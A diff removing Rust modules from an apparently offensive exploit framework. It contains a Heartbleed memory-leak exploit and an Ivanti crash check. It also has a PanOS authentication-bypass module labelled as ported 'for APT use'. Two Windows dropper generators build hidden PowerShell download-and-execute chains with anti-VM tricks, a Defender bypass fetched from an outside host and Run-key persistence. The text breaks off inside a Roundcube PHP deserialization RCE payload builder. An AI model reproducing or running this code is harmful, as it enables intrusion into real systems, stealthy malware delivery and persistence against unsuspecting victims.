let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
let n = match read_result {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => {
println!("[-] No heartbeat response.");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (heartbeat response)");
return Ok(());
}
};
println!("[+] Received {} bytes in heartbeat response!", n);
let filename = format!("leak_dump_{}.bin", stripped.replace(':', "_"));
let path = Path::new(&filename);
let mut file = File::create(path)
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
file.write_all(&leak[..n])
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
println!("[+] Leak dump saved to: {}", filename);
println!("{}", printable_dump(&leak[..n]));
Ok(())
}
/// Builds a TLS ClientHello message
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302; // TLS 1.1
let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
let mut random = vec![];
random.extend_from_slice(&time_now.to_be_bytes());
random.extend_from_slice(&vec![0x42; 28]);
let cipher_suites: Vec<u16> = vec![
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
];
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0); // Session ID length
hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
for cs in &cipher_suites {
hello.extend_from_slice(&cs.to_be_bytes());
}
hello.push(1); // Compression methods length
hello.push(0); // No compression
let mut extensions = vec![];
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
extensions.push(0x01); // Extension data
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
hello.extend_from_slice(&extensions);
let mut handshake = vec![0x01];
let len = (hello.len() as u32).to_be_bytes();
handshake.extend_from_slice(&len[1..]);
handshake.extend_from_slice(&hello);
build_tls_record(0x16, version, &handshake)
}
/// Builds a malicious Heartbeat request
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
/// Wraps payload in a TLS record
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
record.extend_from_slice(payload);
record
}
/// Converts binary leak to printable ASCII
fn printable_dump(data: &[u8]) -> String {
data.iter()
.map(|b| match *b {
32..=126 => *b as char,
b'\n' | b'\r' | b'\t' => ' ',
_ => '.',
})
.collect()
}
-1
View File
@@ -1 +0,0 @@
pub mod heartbleed;
@@ -1,260 +0,0 @@
//CVE-2025-22457 Ivanti Connect Secure Stack-Based Buffer Overflow Exploit Check
//Author: Bryan Smith (@securekomodo)
//Severity: Critical
//CWE: CWE-121 Stack-Based Buffer Overflow
//CVSS: 9.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
//Product: Ivanti Connect Secure, Ivanti Policy Secure, Ivanti ZTA Gateways
//Affected Versions:
// - Connect Secure < 22.7R2.6
// - Policy Secure < 22.7R1.4
// - ZTA Gateways < 22.8R2.2
// Description:
// This script tests for the presence of CVE-2025-22457, a critical vulnerability in Ivanti Connect Secure,
// which allows a remote unauthenticated attacker to crash the web process via a long X-Forwarded-For header.
// In detailed mode, the vulnerability is confirmed if:
// 1. A pre-check GET request returns HTTP 200
// 2. A POST request with the crafted payload receives no response (safe crash)
// 3. A follow-up GET receives HTTP 200, verifying the previous no-response was not incidental
// If this sequence is observed, the system is marked as vulnerable.
// A vulnerable system will generate the log on the server appliance:
// ERROR31093: Program web recently failed.
//References:
// - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
// - https://www.cvedetails.com/cve/CVE-2025-22457
// - https://www.redlinecybersecurity.com/blog/cve-2025-22457-python-exploit-poc-scanner-to-detect-ivanti-connect-secure-rce
use anyhow::Result;
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::time::Duration;
use tokio::time::sleep;
use tokio::io::{self, AsyncBufReadExt, BufReader};
use url::Url;
/// ANSI color codes for terminal output
struct Colors;
impl Colors {
const YELLOW: &'static str = "\x1b[93m";
const GREEN: &'static str = "\x1b[92m";
const GRAY: &'static str = "\x1b[90m";
const RED: &'static str = "\x1b[91m";
const RESET: &'static str = "\x1b[0m";
}
/// // Paths tested for CVE-2025-22457
const PATHS: [&str; 2] = [
"/dana-na/auth/url_default/welcome.cgi",
"/dana-na/setup/psaldownload.cgi",
];
/// // Headers for initial and payload requests
fn default_headers() -> reqwest::header::HeaderMap {
let mut headers = reqwest::header::HeaderMap::new();
headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
headers
}
fn payload_headers() -> reqwest::header::HeaderMap {
let mut headers = reqwest::header::HeaderMap::new();
headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
headers.insert("X-Forwarded-For", "1".repeat(2048).parse().unwrap());
headers
}
/// // Safe HTTP request wrapper
async fn safe_request(
method: &str,
url: &str,
headers: reqwest::header::HeaderMap,
timeout_secs: u64,
) -> Option<reqwest::Response> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(timeout_secs))
.build()
.ok()?;
match method {
"GET" => client.get(url).headers(headers).send().await.ok(),
"POST" => client.post(url).headers(headers).send().await.ok(),
_ => None,
}
}
/// // Normalize and extract usable target URL from IPv6/host formats
async fn normalize_target(raw: &str) -> Result<String> {
let mut input = raw.trim().to_string();
// // Handle IPv6 edge brackets like [[::1]] or [[[::1]]]
while input.starts_with('[') && input.ends_with(']') {
input = input.trim_start_matches('[').trim_end_matches(']').to_string();
}
// // Prepend https:// if missing
if !input.starts_with("http://") && !input.starts_with("https://") {
input = format!("https://{}", input);
}
let mut parsed = Url::parse(&input)?;
// // Prompt for port if not present
if parsed.port_or_known_default().is_none() {
println!("{}No port detected. Please enter a port (e.g. 443):{}", Colors::YELLOW, Colors::RESET);
let mut port_line = String::new();
BufReader::new(io::stdin()).read_line(&mut port_line).await?;
let port = port_line.trim().parse::<u16>()?;
parsed.set_port(Some(port)).expect("invalid port");
}
Ok(parsed[..].to_string())
}
/// // Version info grabber for passive fingerprinting
async fn grab_version_info(target: &str) -> Result<Option<String>> {
let version_url = format!("{}/dana-na/auth/url_admin/welcome.cgi?type=inter", target);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
if let Ok(r) = client.get(&version_url).send().await {
if r.status() == StatusCode::OK {
let body = r.text().await?;
let name_re = Regex::new(r#"NAME="ProductName"\s+VALUE="([^"]+)""#)?;
let ver_re = Regex::new(r#"NAME="ProductVersion"\s+VALUE="([^"]+)""#)?;
let name = name_re
.captures(&body)
.and_then(|cap| cap.get(1).map(|m| m.as_str()));
let ver = ver_re
.captures(&body)
.and_then(|cap| cap.get(1).map(|m| m.as_str()));
if let (Some(name), Some(ver)) = (name, ver) {
println!("{}Detected {} Version: {}{}", Colors::GREEN, name, ver, Colors::RESET);
// // Passive logic
if ver.starts_with("9.") {
println!(
"{}PASSIVE VULNERABILITY DETECTED: 9.x versions are known to be vulnerable.{}",
Colors::YELLOW, Colors::RESET
);
} else if let Ok(parsed_ver) = semver::Version::parse(ver) {
if parsed_ver < semver::Version::parse("22.7.0")? {
println!(
"{}PASSIVE VULNERABILITY DETECTED: Version {} is older than 22.7.{}",
Colors::YELLOW, ver, Colors::RESET
);
} else {
println!(
"{}Version {} appears patched.{}",
Colors::GREEN, ver, Colors::RESET
);
}
}
return Ok(Some(version_url));
}
}
}
println!("{}Could not determine version (passive).{}", Colors::GRAY, Colors::RESET);
Ok(None)
}
/// // Run detailed check using the 3-phase logic from PoC
async fn detailed_check(target: &str) -> Result<Vec<String>> {
println!(
"\n{}Starting detailed check on {}{}",
Colors::GRAY, target, Colors::RESET
);
let mut vulnerable_paths = Vec::new();
if let Some(ver_url) = grab_version_info(target).await? {
vulnerable_paths.push(ver_url);
}
for path in PATHS {
let full_url = format!("{target}{path}");
println!("\n{}Testing path: {}{}", Colors::GRAY, path, Colors::RESET);
// // Step 1: Pre-check
let r1 = safe_request("GET", &full_url, default_headers(), 5).await;
if r1.as_ref().map(|r| r.status()) != Some(StatusCode::OK) {
println!(
"{}Pre-check failed (status: {}). Skipping...{}",
Colors::GRAY,
r1.as_ref().map(|r| r.status().as_u16()).unwrap_or(0),
Colors::RESET
);
continue;
}
println!("{}Pre-check successful (HTTP 200){}", Colors::GREEN, Colors::RESET);
// // Step 2: Payload
let r2 = safe_request("POST", &full_url, payload_headers(), 10).await;
if r2.is_some() {
println!("{}Payload returned response. Not vulnerable.{}", Colors::GRAY, Colors::RESET);
continue;
}
println!(
"{}No response to payload (expected crash behavior).{}",
Colors::GREEN, Colors::RESET
);
// // Step 3: Follow-up GET
sleep(Duration::from_secs(1)).await;
let r3 = safe_request("GET", &full_url, default_headers(), 5).await;
if r3.as_ref().map(|r| r.status()) == Some(StatusCode::OK) {
println!(
"{}Follow-up returned HTTP 200. Crash condition verified.{}",
Colors::GREEN, Colors::RESET
);
println!(
"{}VULNERABLE: {}{}{}",
Colors::YELLOW, target, path, Colors::RESET
);
vulnerable_paths.push(full_url);
} else {
println!(
"{}Follow-up failed. Crash condition not confirmed.{}",
Colors::GRAY, Colors::RESET
);
}
}
Ok(vulnerable_paths)
}
/// // Required entry point for RouterSploit-style dispatcher
pub async fn run(target: &str) -> Result<()> {
let normalized = normalize_target(target).await?;
let result = detailed_check(&normalized).await?;
if !result.is_empty() {
println!(
"\n{}Exploit result: SUCCESS vulnerable paths found.{}",
Colors::YELLOW, Colors::RESET
);
} else {
println!(
"\n{}Exploit result: NOT VULNERABLE no indicators.{}",
Colors::RED, Colors::RESET
);
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod ivanti_connect_secure_stack_based_buffer_overflow;
-18
View File
@@ -1,18 +0,0 @@
pub mod generic;
pub mod sample_exploit;
pub mod payloadgens;
pub mod tplink;
pub mod ssh;
pub mod spotube;
pub mod ftp;
pub mod zabbix;
pub mod abus;
pub mod uniview;
pub mod avtech;
pub mod acti;
pub mod zte;
pub mod ivanti;
pub mod apache_tomcat;
pub mod palo_alto;
pub mod roundcube;
-1
View File
@@ -1 +0,0 @@
pub mod panos_authbypass_cve_2025_0108;
@@ -1,131 +0,0 @@
// Filename: cve_2025_0108.rs
use anyhow::{Result, bail};
use colored::*;
use reqwest::Client;
use std::{
fs::File,
io::{self, BufRead, BufReader, Write},
process::Command,
time::Duration,
};
use url::Url;
/// // CVE-2025-0108 - PanOS Authentication Bypass
/// // Author: iSee857
/// // Ported to Rust by ethical hacker daniel for APT use
/// // Displays module banner
fn banner() {
println!(
"{}",
r#"
****************************************************
* CVE-2025-0108 *
* PanOs *
* : iSee857 *
****************************************************
"#
.cyan()
);
}
/// // Reads target list from file
fn read_file(file_path: &str) -> Result<Vec<String>> {
let file = File::open(file_path)?;
let reader = BufReader::new(file);
Ok(reader.lines().filter_map(Result::ok).collect())
}
/// // Normalize IPv6 host with double or triple brackets
fn normalize_ipv6_host(host: &str) -> String {
let stripped = host.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
}
}
/// // Constructs the full normalized URL
fn normalize_url(host: &str, port: u16, proto: &str) -> Option<String> {
let host = normalize_ipv6_host(host);
let base = format!("{}{}:{}", proto, host, port);
Url::parse(&base).ok().map(|u| u.to_string())
}
/// // Opens a URL in the default system browser
fn open_browser(url: &str) -> Result<()> {
#[cfg(target_os = "linux")]
let cmd = Command::new("xdg-open").arg(url).spawn();
#[cfg(target_os = "windows")]
let cmd = Command::new("cmd").args(["/C", "start", url]).spawn();
#[cfg(target_os = "macos")]
let cmd = Command::new("open").arg(url).spawn();
if cmd.is_err() {
bail!("Could not open default browser.");
}
Ok(())
}
/// // Executes CVE-2025-0108 check
async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
let protocols = ["http://", "https://"];
let path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css";
for proto in &protocols {
if let Some(base_url) = normalize_url(url, port, proto) {
let full_url = format!("{}{}", base_url.trim_end_matches('/'), path);
println!("{}", full_url);
let resp = client.get(&full_url).send().await;
if let Ok(res) = resp {
let status = res.status();
let body = res.text().await.unwrap_or_default();
if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") {
println!(
"{}",
format!("Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port).red()
);
let _ = open_browser(&full_url);
return Ok(true);
}
}
}
}
Ok(false)
}
/// // Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
let mut port_input = String::new();
print!("{}", "Enter target port (default 443): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut port_input)?;
let port: u16 = port_input.trim().parse().unwrap_or(443);
let client = Client::builder()
.timeout(Duration::from_secs(10))
.danger_accept_invalid_certs(true)
.build()?;
if target.ends_with(".txt") {
let urls = read_file(target)?;
for url in urls {
let _ = check(&url, port, &client).await;
}
} else {
let _ = check(target, port, &client).await;
}
Ok(())
}
-142
View File
@@ -1,142 +0,0 @@
use anyhow::Result;
use colored::*;
use rand::{seq::SliceRandom, rng};
use std::{
fs,
io::{self, Write},
path::Path,
};
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
fn prompt(prompt: &str) -> Result<String> {
print!("{}", prompt.cyan().bold());
io::stdout().flush()?;
let mut buffer = String::new();
io::stdin().read_line(&mut buffer)?;
Ok(buffer.trim().to_string())
}
fn base64_split_encode(url: &str) -> (String, String) {
let mid = url.len() / 2;
let (first, second) = url.split_at(mid);
let first_encoded = BASE64_STANDARD.encode(first);
let second_encoded = BASE64_STANDARD.encode(second);
(first_encoded, second_encoded)
}
fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> {
let mut symbols = vec![
"测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘",
"", "", "", "", "", "", "", "", "", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析",
];
let mut rng = rng();
symbols.shuffle(&mut rng);
let s2 = symbols[0].to_string();
let s3 = symbols[1].to_string();
let s4 = symbols[2].to_string();
let _f1 = symbols[3].to_string();
let _f2 = symbols[4].to_string();
let _f3 = symbols[5].to_string();
let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new("."));
let _stage1 = Path::new(stage1_path);
let _stage2 = base.join(format!("{s2}.bat"));
let _stage3 = base.join(format!("{s3}.bat"));
let _stage4 = base.join(format!("{s4}.bat"));
// Encode URL
let (part1_b64, part2_b64) = base64_split_encode(url);
// === Stage 1: writes stage2.bat ===
let stage1_contents = format!(
r#"@echo off
setlocal EnableDelayedExpansion
cls >nul
:: Sleep random 1-4 seconds
set /a RND=1+%RANDOM%%%4
timeout /t %RND% /nobreak >nul
:: Five explicit 1-second sleeps at stage 1
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
echo Creating next stage...
(
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
:: Five explicit 1-second sleeps for stage 2
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo echo Creating next stage...
echo (
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
:: Five explicit 1-second sleeps for stage 3
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo echo Creating final stage...
echo (
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
echo set part1={part1_b64}
echo set part2={part2_b64}
echo powershell -WindowStyle Hidden -Command ^^"
echo $p1 = $env:part1;
echo $p2 = $env:part2;
echo $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2));
echo Invoke-WebRequest -Uri $u -OutFile '{output_ps1}';
echo Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}';
echo ^^"
echo exit
echo ) > "{s4}"
echo timeout /t 600 /nobreak ^>nul :: Wait 10 minutes before stage 4
echo start "" /B "{s4}" :: Launch stage 4 in background
echo exit
echo ) > "{s3}"
echo start "" /B "{s3}" :: Launch stage 3 in background
echo exit
) > "{s2}"
start "" /B "{s2}" :: Launch stage 2 in background
exit
"#);
fs::write(_stage1, stage1_contents)?;
Ok(())
}
pub async fn run(_target: &str) -> Result<()> {
let stage1_name = prompt("[+] Output BAT filename (stage 1): ")?;
let github_url = prompt("[+] GitHub raw URL of PowerShell script: ")?;
let ps1_output = prompt("[+] Name to save .ps1 as on victim: ")?;
write_payload_chain(&stage1_name, &github_url, &ps1_output)?;
println!("[+] Stage 1 payload written to {stage1_name}");
println!("[*] Chain will execute real .bat files one after the other with random jitter.");
Ok(())
}
-2
View File
@@ -1,2 +0,0 @@
pub mod narutto_dropper;
pub mod batgen;
@@ -1,322 +0,0 @@
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
// // User provides: PS1 download link, final batch name, output .ps1 name
// // All temp/var names randomized, batch logic randomized, anti-VM checks
use rand::prelude::*;
use anyhow::Result;
use colored::*;
use rand::{rng, seq::SliceRandom, Rng};
use std::io::{self, Write as IoWrite};
use tokio::fs::File as TokioFile;
use tokio::io::AsyncWriteExt;
// // Prints a welcome message for the Naruto 3-stage poly-morphic dropper
pub fn print_welcome_naruto() {
println!(r#"
======================== WELCOME TO NARUTO ========================
Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper Generator
------------------------------------------------------------------
- Prompts for: Powershell payload download URL, output names
- Generates a highly randomized batch dropper
- All variable, file, registry names are randomized per build
- Drops multi-stage .bat with anti-VM/anti-sandbox tricks
- Final stage ensures persistence via HKCU registry
- Decoy files and diagnostic noise included for stealth
- 100% open source and ready for advanced red-team ops
==================================================================
"#);
}
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
// // - User provides: PS1 download link, final batch name, output .ps1 name
// // - All temp/var names randomized, batch logic randomized, anti-VM checks
/// // List of random banner phrases for added entropy
const BANNERS: &[&str] = &[
"診断ユーティリティを実行中...",
"ネットワーク診断開始...",
"管理者用システムテスト...",
"環境チェック実行中...",
"お待ちください。検証中...",
];
/// // Decoy files for download/cover noise
const DECOY_FILES: &[&str] = &[
"readme.txt", "patchnote.docx", "system_log.csv", "scaninfo.html", "update.pdf",
"changelog.rtf", "debug.ini", "license.txt", "upgrade.bin", "notes.xml",
];
/// // Generate a random batch/var/filename, e.g. DIAG_AbX_7381
fn rand_var_name(base: &str) -> String {
let mut rng = rng();
let charset: Vec<char> = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".chars().collect();
let mut name = base.to_string();
for _ in 0..3 { name.push(*charset.choose(&mut rng).unwrap()); }
name.push('_');
name.push_str(&rng.random_range(1000..9999).to_string());
name
}
/// // Shuffles and emits randomized diagnostic steps (adds noise)
fn shuffled_diag_steps() -> Vec<String> {
let steps = vec![
"netsh winsock show catalog ^>nul",
"fsutil behavior query DisableDeleteNotify ^>nul",
"dcomcnfg /32 ^>nul",
"wevtutil qe Security \"/q:*[System[(EventID=4624)]]\" /f:text /c:1 ^>nul",
"netstat -bno ^>nul",
"route print ^>nul",
"sc queryex type= service ^>nul",
"wmic logicaldisk get caption,filesystem,freespace,size ^>nul",
"wmic cpu get loadpercentage ^>nul",
"systeminfo | findstr /C:\"Available Physical Memory\" ^>nul",
"reg query HKLM\\SOFTWARE ^>nul",
];
let mut steps_mut = steps.clone();
let mut rng = rng();
steps_mut.shuffle(&mut rng);
steps_mut
.into_iter()
.enumerate()
.map(|(i, line)| format!("echo [INFO] Step {}...\n{}\ncall :SleepS 1", i+1, line))
.collect()
}
/// // Pick a random banner for the batch
fn rand_banner() -> &'static str {
let mut rng = rng();
BANNERS.choose(&mut rng).unwrap_or(&BANNERS[0])
}
/// // Shuffle decoy filenames for the decoy download section
fn shuffled_decoys() -> Vec<String> {
let mut rng = rng();
let mut files = DECOY_FILES.to_vec();
files.shuffle(&mut rng);
files.into_iter().map(|f| f.to_string()).collect()
}
/// // Anti-VM/Sandbox check, batch version, with randomized variable names
fn build_anti_vm_batch(rand_vars: &[&str]) -> String {
format!(r#"
REM Anti-VM/Sandbox (basic)
set "{uptime}=0"
for /f "skip=1" %%U in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{uptime}=%%U"
set "{uptime}=%{uptime}:~0,8%"
REM Pause if booted < 3 min ago
for /f %%A in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{boot}=%%A"
for /f "tokens=2 delims==." %%I in ('wmic OS Get LocalDateTime /value ^| findstr =') do set "{now}=%%I"
set /a "{boot_time}=!{now}! - !{uptime}!"
if !{boot_time}! lss 3000000 (
echo [*] Recent boot detected. Pausing.
call :SleepS 60
)
REM RAM check (<=2048 MB is suspicious)
for /f "tokens=2 delims==" %%R in ('wmic ComputerSystem get TotalPhysicalMemory /value ^| findstr =') do set "{ram}=%%R"
set /a "{ram_mb}=(!{ram}!)/1048576"
if !{ram_mb}! lss 2048 (
echo [*] Low RAM detected. Pausing.
call :SleepS 120
)
REM Check VM drivers
set "{vmfound}=0"
for %%X in (VBOX VMWARE QEMU VIRTUAL) do (
driverquery | findstr /I %%X >nul
if not errorlevel 1 set "{vmfound}=1"
)
"#,
uptime=rand_vars[0],
boot=rand_vars[1],
now=rand_vars[2],
boot_time=rand_vars[3],
ram=rand_vars[4],
ram_mb=rand_vars[5],
vmfound=rand_vars[6],
)
}
/// // == Stage 3 (PERSIST) ==
fn build_stage3(ps1_name: &str, rand_vars: &[String]) -> String {
format!(r#"
@echo off
REM Stage 3: Run dropped EXE (PowerShell payload) as .ps1 and set persistence
setlocal enabledelayedexpansion
REM Anti-VM/Sandbox
{antivm}
REM Run payload saved as .ps1 (actually an EXE)
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "%%~dp0{ps1_name}" >nul 2>&1
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "{reg}" /t REG_SZ /d "start \"\" /MIN \"%%~dp0{ps1_name}\"" /f
REM Cleanup
exit
"#,
ps1_name=ps1_name,
reg=rand_vars[0],
antivm=build_anti_vm_batch(&[&rand_vars[1], &rand_vars[2], &rand_vars[3], &rand_vars[4], &rand_vars[5], &rand_vars[6], &rand_vars[7]]),
)
}
/// // == Stage 2 ==
fn build_stage2(
url_exe: &str,
ps1_name: &str,
stage3_name: &str,
rand_vars: &[String],
) -> String {
let stage3_content = build_stage3(ps1_name, rand_vars);
let mut tpl = format!(r#"
@echo off
setlocal enabledelayedexpansion
REM Anti-VM/Sandbox
{antivm}
REM Download EXE payload and save as .ps1
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try {{ Invoke-WebRequest -Uri '{url_exe}' -OutFile '{ps1_name}' -UseBasicParsing }} catch {{ Start-BitsTransfer -Source '{url_exe}' -Destination '{ps1_name}' }}" >nul 2>&1
REM Write Stage 3
set "{stage3}=%~dp0{stage3_name}"
("#,
url_exe = url_exe,
ps1_name = ps1_name,
stage3_name = stage3_name,
stage3 = rand_vars[8],
antivm = build_anti_vm_batch(&[
&rand_vars[9], &rand_vars[10], &rand_vars[11],
&rand_vars[12], &rand_vars[13], &rand_vars[14], &rand_vars[15]
]),
);
for line in stage3_content.lines() {
tpl.push_str(&format!(" echo {} \n", line.replace("%", "%%")));
}
tpl.push_str(&format!(
r#") > "%{}%"
REM Run Stage 3
call "%{}%"
REM Cleanup
exit
"#,
rand_vars[8], rand_vars[8]
));
tpl
}
/// // == Stage 1 ==
fn build_stage1(
url_exe: &str,
decoy_urls: &[&str],
ps1_name: &str,
stage2_name: &str,
stage3_name: &str,
rand_vars: &[String],
) -> String {
let batch_var = rand_var_name("DIAG");
let random_sleep_lo = rng().random_range(1..4);
let random_sleep_hi = rng().random_range(4..8);
let banner = rand_banner();
let mut tpl = format!(r#"@echo off
setlocal enabledelayedexpansion
REM Defender Bypass
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {{ [ScriptBlock]::Create((irm https://dnot.sh/)) | Invoke-Command }}" >nul 2>&1
:SleepS
ping -n %1 127.0.0.1 ^>nul
goto :eof
:SleepMS
powershell -Command "Start-Sleep -Milliseconds %1" ^>nul
goto :eof
title [ - {banner}]
color 0A
set "{batch_var}_init=1"
echo =====================================================
echo
echo =====================================================
echo [+] {banner}
call :SleepS {random_sleep_lo}
"#,
banner = banner,
batch_var = batch_var,
random_sleep_lo = random_sleep_lo,
);
tpl.push_str(&build_anti_vm_batch(&[
&rand_vars[16], &rand_vars[17], &rand_vars[18],
&rand_vars[19], &rand_vars[20], &rand_vars[21], &rand_vars[22]
]));
for line in shuffled_diag_steps() {
tpl.push_str(&format!("{}\n", line));
}
tpl.push_str(&format!("set /a mainDelay=(%RANDOM% %% {random_sleep_hi}) + {random_sleep_lo}\necho [INFO] ステージ準備... (%mainDelay% 秒後)\ncall :SleepS %mainDelay%\n\n",
random_sleep_hi = random_sleep_hi,
random_sleep_lo = random_sleep_lo,
));
let decoys = shuffled_decoys();
for (i, decoy_name) in decoys.iter().enumerate().take(decoy_urls.len()) {
let url = decoy_urls[i];
tpl.push_str(&format!(
"echo [*] Downloading decoy: {decoy_name}\npowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"try {{ Invoke-WebRequest -Uri '{url}' -OutFile '{decoy_name}' -UseBasicParsing }} catch {{}}\" ^>nul\ncall :SleepS 2\n",
url = url, decoy_name = decoy_name
));
}
let stage2_content = build_stage2(url_exe, ps1_name, stage3_name, rand_vars);
tpl.push_str(&format!("set \"{stage2}=%~dp0{stage2_name}\"\n(", stage2 = rand_vars[23], stage2_name = stage2_name));
for line in stage2_content.lines() {
tpl.push_str(&format!(" echo {} \n", line.replace("%", "%%")));
}
tpl.push_str(&format!(
") > \"%{}%\"\nREM Run Stage 2\ncall \"%{}%\"\nREM Cleanup\nexit\n",
rand_vars[23], rand_vars[23]
));
tpl
}
/// // Prompt user, fallback to default if empty input
fn prompt(msg: &str, default: Option<&str>) -> String {
let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
io::stdout().flush().unwrap();
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
let value = input.trim();
if value.is_empty() {
default.unwrap_or("").to_string()
} else {
value.to_string()
}
}
/// // == RouterSploit-style async entry point ==
pub async fn run(_target: &str) -> Result<()> {
print_welcome_naruto();
let url_exe = prompt("URL of PowerShell payload (EXE, will be saved as .ps1)", Some("https://yourdomain.com/payload.exe"));
let out_name = prompt("Final output batch filename", Some("3stage_dropper.bat"));
let ps1_name = prompt("Name to save downloaded EXE as (with .ps1 extension)", Some("payload.ps1"));
let stage2_name = rand_var_name("stg2");
let stage3_name = rand_var_name("stg3");
let rand_vars: Vec<String> = (0..24).map(|i| rand_var_name(&format!("v{}", i))).collect();
let decoy_urls = vec![
"https://www.example.com/readme.txt",
"https://www.example.com/license.txt",
"https://www.example.com/update.pdf",
];
let script = build_stage1(&url_exe, &decoy_urls, &ps1_name, &stage2_name, &stage3_name, &rand_vars);
let mut file = TokioFile::create(&out_name).await?;
file.write_all(script.as_bytes()).await?;
file.flush().await?;
println!("[+] 3-stage chain-linked dropper written to: {}", out_name);
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod roundcube_postauth_rce;
@@ -1,215 +0,0 @@
use anyhow::{anyhow, Result};
use data_encoding::BASE32_NOPAD;
use md5;
use rand::Rng;
use base64::Engine as _;
use regex::Regex;
use reqwest::{Client, cookie::Jar, redirect::Policy};
use std::io::{self, Write};
use std::sync::Arc;
use std::time::{SystemTime, UNIX_EPOCH};
use rand::distr::Alphanumeric;
/// // Decode base64 constant for small transparent PNG
fn transparent_png() -> Vec<u8> {
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
base64::engine::general_purpose::STANDARD
.decode(PNG_B64)
.unwrap_or_default()
}
/// // Build the serialized PHP payload using Crypt_GPG_Engine gadget
fn build_serialized_payload(cmd: &str) -> String {
let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
let len = gpgconf.len();
format!(
"|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}};",
len, gpgconf
)
}
fn generate_from() -> &'static str {
